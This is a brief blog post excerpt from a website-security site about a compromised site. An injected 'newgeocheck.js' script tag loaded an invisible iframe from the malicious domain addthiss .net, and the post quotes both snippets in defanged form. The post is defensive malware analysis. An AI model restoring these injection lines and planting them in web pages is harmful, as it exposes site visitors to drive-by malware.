Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
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NewGeoCheck.js and Malicious AddThiss .net Iframe

19 May 10   Filed in Website exploits with 4 Comments

Yesterday, I checked one site that had the following text on its Google Safe Browsing diagnostic page:

Malicious software is hosted on 1 domain(s), including addthiss .net/.

Unmask Parasites didn’t detect anything suspicious but a quick manual check revealed the following script tag right after the <body> tag in every web page:

<sc ript type="text/javascript" src="newgeocheck.js"></script>

(Unmask Parasites doesn’t check .js file, so no wonder it couldn’t detect the source of the problem)

This script loaded an invisible iframe form addthiss .net.

<i frame width="1" height="1" frameborder="0" scrolling="no" marginwidth="0" marginheight="0" style="" src="hxxp://addthiss .net/ in.cgi?8"></iframe>
Here goes the real investigation »»